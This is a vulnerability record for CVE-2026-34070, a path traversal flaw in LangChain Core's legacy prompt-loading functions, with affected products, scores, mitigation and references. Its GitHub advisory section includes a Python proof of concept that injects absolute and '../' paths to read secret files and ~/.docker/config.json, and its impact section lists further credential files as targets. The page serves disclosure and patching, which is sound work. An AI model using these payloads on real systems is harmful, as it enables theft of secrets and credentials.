CVE-2026-34070
JSON

7.5high

LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
1.41% (higher than 73% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qh6h-p6c9-ff54PYSEC-2026-2193

Description

LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.

Affected

Product or packageVersionsReported by
langchain-ai langchain< 1.2.22CVE List
ansible-automation-platform-25/lightspeed-rhel8Not specified
Not affected: from 1780082949 before *, from 1787229385 before *
CVE List
rhoai/odh-llama-stack-core-rhel9Not specified
Not affected: from 1782471587 before *
CVE List
rhoai/odh-trustyai-nemo-guardrails-server-rhel9Not specified
Not affected: from 1782471606 before *
CVE List
openshift-lightspeed/lightspeed-service-api-rhel9Not specifiedCVE List
ansible-automation-platform-25/lightspeed-chatbot-rhel8Not specifiedCVE List
ansible-automation-platform-26/lightspeed-rhel9Not specifiedCVE List
rhoai/odh-mlflow-rhel9Not specifiedCVE List
langchain-core (PyPI)before 1.2.22GitHub Advisory Database, PyPA Advisory Database
langchain langchain_corebefore 1.2.22NVD

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.

GitHub Advisory Database

Summary

Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).

Note: The affected functions (load_prompt, load_prompt_from_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.

Affected component

Package: langchain-core File: langchain_core/prompts/loading.py Affected functions: _load_template(), _load_examples(), _load_few_shot_prompt()

Severity

High

The score reflects the file-extension constraints that limit which files can be read.

Vulnerable code paths

Config keyLoaded byReadable extensions
template_path, suffix_path, prefix_path_load_template().txt
examples (when string)_load_examples().json, .yaml, .yml
example_prompt_path_load_few_shot_prompt().json, .yaml, .yml

None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.

Impact

An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:

  • .txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts
  • .json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings

This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose load_prompt_from_config().

Proof of concept

from langchain_core.prompts.loading import load_prompt_from_config

# Reads /tmp/secret.txt via absolute path injection
config = {
    "_type": "prompt",
    "template_path": "/tmp/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template)  # file contents disclosed

# Reads ../../etc/secret.txt via directory traversal
config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)

# Reads arbitrary .json via few-shot examples
config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}
prompt = load_prompt_from_config(config)

Mitigation

Update langchain-core to >= 1.2.22.

The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allow_dangerous_paths=True keyword argument is available on load_prompt() and load_prompt_from_config() for trusted inputs.

As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load.

Credit

NVD (es)

LangChain es un framework para construir agentes y aplicaciones impulsadas por LLM. Antes de la versión 1.2.22, múltiples funciones en langchain_core.prompts.loading leían archivos de rutas incrustadas en diccionarios de configuración deserializados sin validar contra salto de directorio o inyección de ruta absoluta. Cuando una aplicación pasa configuraciones de prompt influenciadas por el usuario a load_prompt() o load_prompt_from_config(), un atacante puede leer archivos arbitrarios en el sistema de archivos del host, restringido solo por verificaciones de extensión de archivo (.txt para plantillas, .json/.yaml para ejemplos). Este problema ha sido parcheado en la versión 1.2.22.

References

https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54evidence, exploit, vendor-advisory, web
https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47cfix, patch, web
https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22advisory, release-notes, web
https://access.redhat.com/security/cve/CVE-2026-34070vdb-entry, web
https://bugzilla.redhat.com/show_bug.cgi?id=2453287issue-tracking, report
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34070.jsonweb
https://access.redhat.com/errata/RHSA-2026:24766advisory, vendor-advisory
https://access.redhat.com/errata/RHSA-2026:59159vendor-advisory
https://access.redhat.com/errata/RHSA-2026:37275advisory, vendor-advisory
https://nvd.nist.gov/vuln/detail/CVE-2026-34070advisory
https://github.com/langchain-ai/langchainpackage

Sources

SourceRecordLicence
CVE ListCVE-2026-34070 changed 2026-08-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-qh6h-p6c9-ff54 changed 2026-09-10CC-BY-4.0
NVDCVE-2026-34070 changed 2026-08-25Public domain
PyPA Advisory DatabasePYSEC-2026-2193 changed 2026-07-13CC-BY-4.0